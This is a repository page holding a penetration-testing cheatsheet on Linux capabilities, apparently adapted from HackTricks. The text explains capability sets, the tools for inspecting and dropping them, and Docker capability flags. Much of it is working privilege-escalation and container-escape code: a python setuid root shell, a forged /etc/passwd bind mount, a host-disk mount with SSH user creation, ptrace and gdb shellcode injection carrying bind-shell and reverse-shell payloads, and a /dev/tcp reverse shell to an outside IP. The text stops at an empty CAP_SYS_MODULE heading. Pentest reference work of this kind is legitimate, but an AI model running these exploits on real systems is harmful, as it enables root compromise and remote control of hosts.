daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

linux-capabilities.md (68724B)


      1 ---
      2 title: "Linux Capabilities"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/linux-capabilities.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/linux-capabilities.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Linux Capabilities
     14 
     15 Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[14]](#references)</sup>
     16 
     17 ### The Problem:
     18 
     19 - Normal users have limited permissions for operations such as opening raw sockets or binding Internet ports below 1024; capabilities can grant only the required operation instead of full root privilege.<sup>[[14]](#references)</sup>
     20 
     21 ### Capability Sets:
     22 
     23 Linux exposes these capability sets per thread, and the kernel applies their constraints when a process changes credentials or executes a file.<sup>[[14]](#references)</sup>
     24 
     25 1. **Inherited (CapInh)**:
     26 
     27    - **Purpose**: Identifies capabilities that may contribute to the permitted set after `execve()` when the executed file has matching inheritable file capabilities.
     28    - **Functionality**: The thread's inheritable set is preserved across `execve()`; it does not make those capabilities effective by itself.
     29    - **Restrictions**: Adding a capability to this set is constrained by the permitted and bounding sets.<sup>[[14]](#references)</sup>
     30 
     31 2. **Effective (CapEff)**:
     32 
     33    - **Purpose**: Represents the actual capabilities a process is utilizing at any moment.
     34    - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective.
     35    - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use.
     36 
     37 3. **Permitted (CapPrm)**:
     38 
     39    - **Purpose**: Defines the maximum set of capabilities a process can possess.
     40    - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set.
     41    - **Boundary**: If a capability is dropped from this set, it cannot normally be restored without executing a file that grants it or another privileged transition.<sup>[[14]](#references)</sup>
     42 
     43 4. **Bounding (CapBnd)**:
     44 
     45    - **Purpose**: Limits the capabilities a process can gain from a file during `execve()` and those it can add to its inheritable set.
     46    - **Functionality**: The set is inherited across `fork()` and preserved across `execve()`; capabilities can be dropped from it when the caller has `CAP_SETPCAP`.
     47    - **Use-case**: Removing unnecessary capabilities from this set limits later privilege acquisition.<sup>[[14]](#references)</sup>
     48 
     49 5. **Ambient (CapAmb)**:
     50    - **Purpose**: Allows selected capabilities to remain permitted and effective across `execve()` of a nonprivileged program.
     51    - **Functionality**: Ambient capabilities are added to the new permitted and effective sets when the executed file is not privileged.
     52    - **Restrictions**: A capability can be ambient only while it is present in both the permitted and inheritable sets; executing a set-user-ID/set-group-ID file or a file with capabilities clears the ambient set.<sup>[[8]](#references)[[9]](#references)[[14]](#references)</sup>
     53 
     54 ## Processes & Binaries Capabilities
     55 
     56 ### Processes Capabilities
     57 
     58 To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\
     59 Note that for all running processes capability information is maintained per thread, while file capabilities are stored in `security.capability` extended attributes.<sup>[[14]](#references)[[15]](#references)</sup>
     60 
     61 You can find the capabilities defined in /usr/include/linux/capability.h
     62 
     63 You can find the capabilities of the current process in `cat /proc/self/status` or with `capsh --print`, and those of other processes in `/proc/<pid>/status`.<sup>[[15]](#references)[[26]](#references)</sup>
     64 
     65 ```bash
     66 cat /proc/1234/status | grep Cap
     67 cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
     68 ```
     69 
     70 This command should return five capability lines on most systems.<sup>[[15]](#references)</sup>
     71 
     72 - CapInh = Inherited capabilities
     73 - CapPrm = Permitted capabilities
     74 - CapEff = Effective capabilities
     75 - CapBnd = Bounding set
     76 - CapAmb = Ambient capabilities set
     77 
     78 ```bash
     79 #These are the typical capabilities of a root owned process (all)
     80 CapInh: 0000000000000000
     81 CapPrm: 0000003fffffffff
     82 CapEff: 0000003fffffffff
     83 CapBnd: 0000003fffffffff
     84 CapAmb: 0000000000000000
     85 ```
     86 
     87 These hexadecimal numbers don’t make sense. Using the `capsh` utility, we can decode them into capability names.<sup>[[26]](#references)</sup>
     88 
     89 ```bash
     90 capsh --decode=0000003fffffffff
     91 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
     92 ```
     93 
     94 Lets check now the **capabilities** used by `ping`:
     95 
     96 ```bash
     97 cat /proc/9491/status | grep Cap
     98 CapInh:    0000000000000000
     99 CapPrm:    0000000000003000
    100 CapEff:    0000000000000000
    101 CapBnd:    0000003fffffffff
    102 CapAmb:    0000000000000000
    103 
    104 capsh --decode=0000000000003000
    105 0x0000000000003000=cap_net_admin,cap_net_raw
    106 ```
    107 
    108 Although that works, there is another and easier way. To see the capabilities of a running process, use the **getpcaps** tool followed by its process ID (PID); it also accepts a list of process IDs.<sup>[[22]](#references)</sup>
    109 
    110 ```bash
    111 getpcaps 1234
    112 ```
    113 
    114 Lets check the capabilities of `tcpdump` after giving the binary `cap_net_admin` and `cap_net_raw` to sniff the network (`tcpdump` is running in process 9562).<sup>[[22]](#references)[[25]](#references)</sup>
    115 
    116 ```bash
    117 #The following command give tcpdump the needed capabilities to sniff traffic
    118 $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
    119 
    120 $ getpcaps 9562
    121 Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
    122 
    123 $ cat /proc/9562/status | grep Cap
    124 CapInh:    0000000000000000
    125 CapPrm:    0000000000003000
    126 CapEff:    0000000000003000
    127 CapBnd:    0000003fffffffff
    128 CapAmb:    0000000000000000
    129 
    130 $ capsh --decode=0000000000003000
    131 0x0000000000003000=cap_net_admin,cap_net_raw
    132 ```
    133 
    134 As you can see, the capabilities correspond with the results of the two ways of inspecting a process. The `getpcaps` tool uses libcap to query a target process's capabilities and prints them in text form; it accepts one or more PIDs.<sup>[[22]](#references)</sup>
    135 
    136 ### Binaries Capabilities
    137 
    138 Binaries can have file capabilities that are applied during execution. For example, a `ping` binary may carry the `cap_net_raw` capability.<sup>[[14]](#references)</sup>
    139 
    140 ```bash
    141 getcap /usr/bin/ping
    142 /usr/bin/ping = cap_net_raw+ep
    143 ```
    144 
    145 You can **search binaries with capabilities** using `getcap -r`.<sup>[[23]](#references)</sup>
    146 
    147 ```bash
    148 getcap -r / 2>/dev/null
    149 ```
    150 
    151 ### Dropping capabilities with capsh
    152 
    153 If we drop `CAP_NET_RAW` from the prevailing bounding set, a program that needs that capability should no longer be able to use it.<sup>[[26]](#references)</sup>
    154 
    155 ```bash
    156 capsh --drop=cap_net_raw --print -- -c "tcpdump"
    157 ```
    158 
    159 Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error.
    160 
    161 > /bin/bash: /usr/sbin/tcpdump: Operation not permitted
    162 
    163 The error shows that `tcpdump` cannot execute with the requested file capability after `CAP_NET_RAW` was removed from the bounding set.
    164 
    165 ### Remove Capabilities
    166 
    167 You can remove a file's capabilities with `setcap -r`.<sup>[[25]](#references)</sup>
    168 
    169 ```bash
    170 setcap -r </path/to/binary>
    171 ```
    172 
    173 ## User Capabilities
    174 
    175 Linux does not assign file capabilities directly to a login user, but the `pam_cap` PAM module can set inheritable capabilities for authenticated sessions using `/etc/security/capability.conf`.<sup>[[16]](#references)</sup> Each entry maps comma-separated capability names or numbers to one or more usernames.<sup>[[17]](#references)</sup>
    176 File example:
    177 
    178 ```bash
    179 # Simple
    180 cap_sys_ptrace               developer
    181 cap_net_raw                  user1
    182 
    183 # Multiple capablities
    184 cap_net_admin,cap_net_raw    jrnetadmin
    185 # Identical, but with numeric values
    186 12,13                        jrnetadmin
    187 
    188 # Combining names and numerics
    189 cap_sys_admin,22,25          jrsysadmin
    190 ```
    191 
    192 ## Environment Capabilities
    193 
    194 Compiling the following program makes it possible to **spawn a bash shell inside an environment that provides capabilities**.<sup>[[14]](#references)</sup>
    195 
    196 ```c
    197 /*
    198  * Test program for the ambient capabilities
    199  *
    200  * compile using:
    201  * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
    202  * Set effective, inherited and permitted capabilities to the compiled binary
    203  * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
    204  *
    205  * To get a shell with additional caps that can be inherited do:
    206  *
    207  * ./ambient /bin/bash
    208  */
    209 
    210 #include <stdlib.h>
    211 #include <stdio.h>
    212 #include <string.h>
    213 #include <errno.h>
    214 #include <sys/prctl.h>
    215 #include <linux/capability.h>
    216 #include <cap-ng.h>
    217 
    218 static void set_ambient_cap(int cap) {
    219   int rc;
    220   capng_get_caps_process();
    221   rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
    222   if (rc) {
    223     printf("Cannot add inheritable cap\n");
    224     exit(2);
    225   }
    226   capng_apply(CAPNG_SELECT_CAPS);
    227   /* Note the two 0s at the end. Kernel checks for these */
    228   if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
    229     perror("Cannot set cap");
    230     exit(1);
    231   }
    232 }
    233 void usage(const char * me) {
    234   printf("Usage: %s [-c caps] new-program new-args\n", me);
    235   exit(1);
    236 }
    237 int default_caplist[] = {
    238   CAP_NET_RAW,
    239   CAP_NET_ADMIN,
    240   CAP_SYS_NICE,
    241   -1
    242 };
    243 int * get_caplist(const char * arg) {
    244   int i = 1;
    245   int * list = NULL;
    246   char * dup = strdup(arg), * tok;
    247   for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
    248     list = realloc(list, (i + 1) * sizeof(int));
    249     if (!list) {
    250       perror("out of memory");
    251       exit(1);
    252     }
    253     list[i - 1] = atoi(tok);
    254     list[i] = -1;
    255     i++;
    256   }
    257   return list;
    258 }
    259 int main(int argc, char ** argv) {
    260   int rc, i, gotcaps = 0;
    261   int * caplist = NULL;
    262   int index = 1; // argv index for cmd to start
    263   if (argc < 2)
    264     usage(argv[0]);
    265   if (strcmp(argv[1], "-c") == 0) {
    266     if (argc <= 3) {
    267       usage(argv[0]);
    268     }
    269     caplist = get_caplist(argv[2]);
    270     index = 3;
    271   }
    272   if (!caplist) {
    273     caplist = (int * ) default_caplist;
    274   }
    275   for (i = 0; caplist[i] != -1; i++) {
    276     printf("adding %d to ambient list\n", caplist[i]);
    277     set_ambient_cap(caplist[i]);
    278   }
    279   printf("Ambient forking shell\n");
    280   if (execv(argv[index], argv + index))
    281     perror("Cannot exec");
    282   return 0;
    283 }
    284 ```
    285 
    286 ```bash
    287 gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
    288 sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
    289 ./ambient /bin/bash
    290 ```
    291 
    292 Inside the **bash executed by the compiled ambient binary**, it is possible to observe the **new capabilities** (a regular user will not have any capability in the "current" section).<sup>[[14]](#references)</sup>
    293 
    294 ```bash
    295 capsh --print
    296 Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
    297 ```
    298 
    299 > [!CAUTION]
    300 > You can **only add capabilities that are present** in both the permitted and the inheritable sets.<sup>[[14]](#references)</sup>
    301 
    302 ### Capability-aware/Capability-dumb binaries
    303 
    304 A capability-dumb binary is a program with file capabilities that does not use libcap to manage them. If its file effective bit is set, the kernel enables the file's permitted capabilities in the process's effective set; execution can fail if the process did not obtain all permitted capabilities.<sup>[[14]](#references)</sup>
    305 
    306 ## Service Capabilities
    307 
    308 A system service that runs as root may retain broad capabilities unless its execution environment restricts them. In a systemd unit, `User=` selects the service user and `AmbientCapabilities=` adds named capabilities to the ambient set for the executed process.<sup>[[18]](#references)</sup>
    309 
    310 ```bash
    311 [Service]
    312 User=bob
    313 AmbientCapabilities=CAP_NET_BIND_SERVICE
    314 ```
    315 
    316 ## Capabilities in Docker Containers
    317 
    318 Docker starts containers with a default capability set that can be changed with `--cap-add` and `--cap-drop`; an example container can be inspected with `amicontained`.<sup>[[19]](#references)[[24]](#references)</sup>
    319 
    320 ```bash
    321 docker run --rm -it  r.j3ss.co/amicontained bash
    322 Capabilities:
    323 	BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
    324 
    325 # Add a capabilities
    326 docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
    327 
    328 # Add all capabilities
    329 docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
    330 
    331 # Remove all and add only one
    332 docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
    333 ```
    334 
    335 ## Privesc/Container Escape
    336 
    337 Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.<sup>[[2]](#references)</sup>
    338 
    339 You can force file capabilities onto programs with `setcap`, and query them with `getcap`.<sup>[[23]](#references)[[25]](#references)</sup>
    340 
    341 ```bash
    342 #Set Capability
    343 setcap cap_net_raw+ep /sbin/ping
    344 
    345 #Get Capability
    346 getcap /sbin/ping
    347 /sbin/ping = cap_net_raw+ep
    348 ```
    349 
    350 For file-capability text, `+ep` raises the named capability in the effective and permitted sets; `-` lowers the selected flags.<sup>[[21]](#references)</sup>
    351 
    352 To identify programs in a system or folder with capabilities, use `getcap -r`.<sup>[[23]](#references)</sup>
    353 
    354 ```bash
    355 getcap -r / 2>/dev/null
    356 ```
    357 
    358 ### Exploitation example
    359 
    360 In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc:
    361 
    362 ```bash
    363 setcap cap_setuid+ep /usr/bin/python2.7
    364 /usr/bin/python2.7 = cap_setuid+ep
    365 
    366 #Exploit
    367 /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
    368 ```
    369 
    370 **Capabilities** needed by `tcpdump` to **allow any user to sniff packets**:
    371 
    372 ```bash
    373 setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
    374 getcap /usr/sbin/tcpdump
    375 /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
    376 ```
    377 
    378 ### The special case of "empty" capabilities
    379 
    380 A file can carry an empty capability set (`getcap myelf` returns `myelf =ep`). An empty set grants no capabilities; when combined with a root-owned set-user-ID bit, the program can still change the executing process's effective and saved IDs to 0 without gaining file capabilities. An unowned, non-SUID/SGID file with `=ep` does not run as root.<sup>[[14]](#references)</sup>
    381 
    382 ## CAP_SYS_ADMIN
    383 
    384 **[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface.<sup>[[14]](#references)</sup>
    385 
    386 **Example with binary**
    387 
    388 ```bash
    389 getcap -r / 2>/dev/null
    390 /usr/bin/python2.7 = cap_sys_admin+ep
    391 ```
    392 
    393 Using python you can mount a modified _passwd_ file on top of the real _passwd_ file:
    394 
    395 ```bash
    396 cp /etc/passwd ./ #Create a copy of the passwd file
    397 openssl passwd -1 -salt abc password #Get hash of "password"
    398 vim ./passwd #Change roots passwords of the fake passwd file
    399 ```
    400 
    401 And finally **mount** the modified `passwd` file on `/etc/passwd`:
    402 
    403 ```python
    404 from ctypes import *
    405 libc = CDLL("libc.so.6")
    406 libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
    407 MS_BIND = 4096
    408 source = b"/path/to/fake/passwd"
    409 target = b"/etc/passwd"
    410 filesystemtype = b"none"
    411 options = b"rw"
    412 mountflags = MS_BIND
    413 libc.mount(source, target, filesystemtype, mountflags, options)
    414 ```
    415 
    416 And you will be able to **`su` as root** using password "password".
    417 
    418 **Example with environment (Docker breakout)**
    419 
    420 You can check the enabled capabilities inside the docker container using:
    421 
    422 ```text
    423 capsh --print
    424 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
    425 Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
    426 Securebits: 00/0x0/1'b0
    427  secure-noroot: no (unlocked)
    428  secure-no-suid-fixup: no (unlocked)
    429  secure-keep-caps: no (unlocked)
    430 uid=0(root)
    431 gid=0(root)
    432 groups=0(root)
    433 ```
    434 
    435 Inside the previous output you can see that the SYS_ADMIN capability is enabled.<sup>[[14]](#references)</sup>
    436 
    437 - **Mount**
    438 
    439 With suitable device and namespace access, this can allow a Docker container to **mount a host disk and access its contents**.<sup>[[14]](#references)</sup>
    440 
    441 ```bash
    442 fdisk -l #Get disk name
    443 Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
    444 Units: sectors of 1 * 512 = 512 bytes
    445 Sector size (logical/physical): 512 bytes / 512 bytes
    446 I/O size (minimum/optimal): 512 bytes / 512 bytes
    447 
    448 mount /dev/sda /mnt/ #Mount it
    449 cd /mnt
    450 chroot ./ bash #You have a shell inside the docker hosts disk
    451 ```
    452 
    453 - **Full access**
    454 
    455 In the previous method we managed to access a host disk.\
    456 If the host is running an **ssh** server, you could **create a user inside the mounted disk** and access it via SSH.<sup>[[14]](#references)</sup>
    457 
    458 ```bash
    459 #Like in the example before, the first step is to mount the docker host disk
    460 fdisk -l
    461 mount /dev/sda /mnt/
    462 
    463 #Then, search for open ports inside the docker host
    464 nc -v -n -w2 -z 172.17.0.1 1-65535
    465 (UNKNOWN) [172.17.0.1] 2222 (?) open
    466 
    467 #Finally, create a new user inside the docker host and use it to access via SSH
    468 chroot /mnt/ adduser john
    469 ssh john@172.17.0.1 -p 2222
    470 ```
    471 
    472 ## CAP_SYS_PTRACE
    473 
    474 With `CAP_SYS_PTRACE`, a process can trace and inspect other processes that are visible in its PID namespace. To target host processes from a Docker container, share the host PID namespace with `--pid=host` (or join a namespace containing the target).<sup>[[14]](#references)[[20]](#references)</sup>
    475 
    476 **[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53).<sup>[[10]](#references)</sup>
    477 
    478 **Example with binary (python)**
    479 
    480 ```bash
    481 getcap -r / 2>/dev/null
    482 /usr/bin/python2.7 = cap_sys_ptrace+ep
    483 ```
    484 
    485 ```python
    486 import ctypes
    487 import sys
    488 import struct
    489 # Macros defined in <sys/ptrace.h>
    490 # https://code.woboq.org/qt5/include/sys/ptrace.h.html
    491 PTRACE_POKETEXT = 4
    492 PTRACE_GETREGS = 12
    493 PTRACE_SETREGS = 13
    494 PTRACE_ATTACH = 16
    495 PTRACE_DETACH = 17
    496 # Structure defined in <sys/user.h>
    497 # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
    498 class user_regs_struct(ctypes.Structure):
    499     _fields_ = [
    500         ("r15", ctypes.c_ulonglong),
    501         ("r14", ctypes.c_ulonglong),
    502         ("r13", ctypes.c_ulonglong),
    503         ("r12", ctypes.c_ulonglong),
    504         ("rbp", ctypes.c_ulonglong),
    505         ("rbx", ctypes.c_ulonglong),
    506         ("r11", ctypes.c_ulonglong),
    507         ("r10", ctypes.c_ulonglong),
    508         ("r9", ctypes.c_ulonglong),
    509         ("r8", ctypes.c_ulonglong),
    510         ("rax", ctypes.c_ulonglong),
    511         ("rcx", ctypes.c_ulonglong),
    512         ("rdx", ctypes.c_ulonglong),
    513         ("rsi", ctypes.c_ulonglong),
    514         ("rdi", ctypes.c_ulonglong),
    515         ("orig_rax", ctypes.c_ulonglong),
    516         ("rip", ctypes.c_ulonglong),
    517         ("cs", ctypes.c_ulonglong),
    518         ("eflags", ctypes.c_ulonglong),
    519         ("rsp", ctypes.c_ulonglong),
    520         ("ss", ctypes.c_ulonglong),
    521         ("fs_base", ctypes.c_ulonglong),
    522         ("gs_base", ctypes.c_ulonglong),
    523         ("ds", ctypes.c_ulonglong),
    524         ("es", ctypes.c_ulonglong),
    525         ("fs", ctypes.c_ulonglong),
    526         ("gs", ctypes.c_ulonglong),
    527     ]
    528 
    529 libc = ctypes.CDLL("libc.so.6")
    530 
    531 pid=int(sys.argv[1])
    532 
    533 # Define argument type and respone type.
    534 libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
    535 libc.ptrace.restype = ctypes.c_uint64
    536 
    537 # Attach to the process
    538 libc.ptrace(PTRACE_ATTACH, pid, None, None)
    539 registers=user_regs_struct()
    540 
    541 # Retrieve the value stored in registers
    542 libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
    543 print("Instruction Pointer: " + hex(registers.rip))
    544 print("Injecting Shellcode at: " + hex(registers.rip))
    545 
    546 # Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
    547 shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
    548 
    549 # Inject the shellcode into the running process byte by byte.
    550 for i in xrange(0,len(shellcode),4):
    551     # Convert the byte to little endian.
    552     shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
    553     shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    554     shellcode_byte=int(shellcode_byte_little_endian,16)
    555 
    556     # Inject the byte.
    557     libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
    558 
    559 print("Shellcode Injected!!")
    560 
    561 # Modify the instuction pointer
    562 registers.rip=registers.rip+2
    563 
    564 # Set the registers
    565 libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
    566 print("Final Instruction Pointer: " + hex(registers.rip))
    567 
    568 # Detach from the process.
    569 libc.ptrace(PTRACE_DETACH, pid, None, None)
    570 ```
    571 
    572 **Example with binary (gdb)**
    573 
    574 `gdb` with `ptrace` capability:
    575 
    576 ```text
    577 /usr/bin/gdb = cap_sys_ptrace+ep
    578 ```
    579 
    580 Create a shellcode with msfvenom to inject in memory via gdb
    581 
    582 ```python
    583 # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
    584 buf =  b""
    585 buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
    586 buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
    587 buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
    588 buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
    589 buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
    590 buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
    591 buf += b"\x0f\x05"
    592 
    593 # Divisible by 8
    594 payload = b"\x90" * (-len(buf) % 8) + buf
    595 
    596 # Change endianess and print gdb lines to load the shellcode in RIP directly
    597 for i in range(0, len(buf), 8):
    598 	chunk = payload[i:i+8][::-1]
    599 	chunks = "0x"
    600 	for byte in chunk:
    601 		chunks += f"{byte:02x}"
    602 
    603 	print(f"set {{long}}($rip+{i}) = {chunks}")
    604 ```
    605 
    606 Debug a root process with gdb ad copy-paste the previously generated gdb lines:
    607 
    608 ```bash
    609 # Let's write the commands to a file
    610 echo 'set {long}($rip+0) = 0x296a909090909090
    611 set {long}($rip+8) = 0x5e016a5f026a9958
    612 set {long}($rip+16) = 0x0002b9489748050f
    613 set {long}($rip+24) = 0x48510b0e0a0a2923
    614 set {long}($rip+32) = 0x582a6a5a106ae689
    615 set {long}($rip+40) = 0xceff485e036a050f
    616 set {long}($rip+48) = 0x6af675050f58216a
    617 set {long}($rip+56) = 0x69622fbb4899583b
    618 set {long}($rip+64) = 0x8948530068732f6e
    619 set {long}($rip+72) = 0x050fe689485752e7
    620 c' > commands.gdb
    621 # In this case there was a sleep run by root
    622 ## NOTE that the process you abuse will die after the shellcode
    623 /usr/bin/gdb -p $(pgrep sleep)
    624 [...]
    625 (gdb) source commands.gdb
    626 Continuing.
    627 process 207009 is executing new program: /usr/bin/dash
    628 [...]
    629 ```
    630 
    631 **Example with environment (Docker breakout) - Another gdb Abuse**
    632 
    633 If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
    634 
    635 ```bash
    636 gdb -p 1234
    637 (gdb) call (void)system("ls")
    638 (gdb) call (void)system("sleep 5")
    639 (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
    640 ```
    641 
    642 You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).
    643 
    644 > [!WARNING]
    645 > If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb.
    646 
    647 **Example with environment (Docker breakout) - Shellcode Injection**
    648 
    649 You can check the enabled capabilities inside the docker container using:
    650 
    651 ```bash
    652 capsh --print
    653 Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
    654 Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
    655 Securebits: 00/0x0/1'b0
    656  secure-noroot: no (unlocked)
    657  secure-no-suid-fixup: no (unlocked)
    658  secure-keep-caps: no (unlocked)
    659 uid=0(root)
    660 gid=0(root)
    661 groups=0(root
    662 ```
    663 
    664 List **processes** running in the **host** `ps -eaf`
    665 
    666 1. Get the **architecture** `uname -m`
    667 2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
    668 3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
    669 4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
    670 5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
    671 
    672 ## CAP_SYS_MODULE
    673 
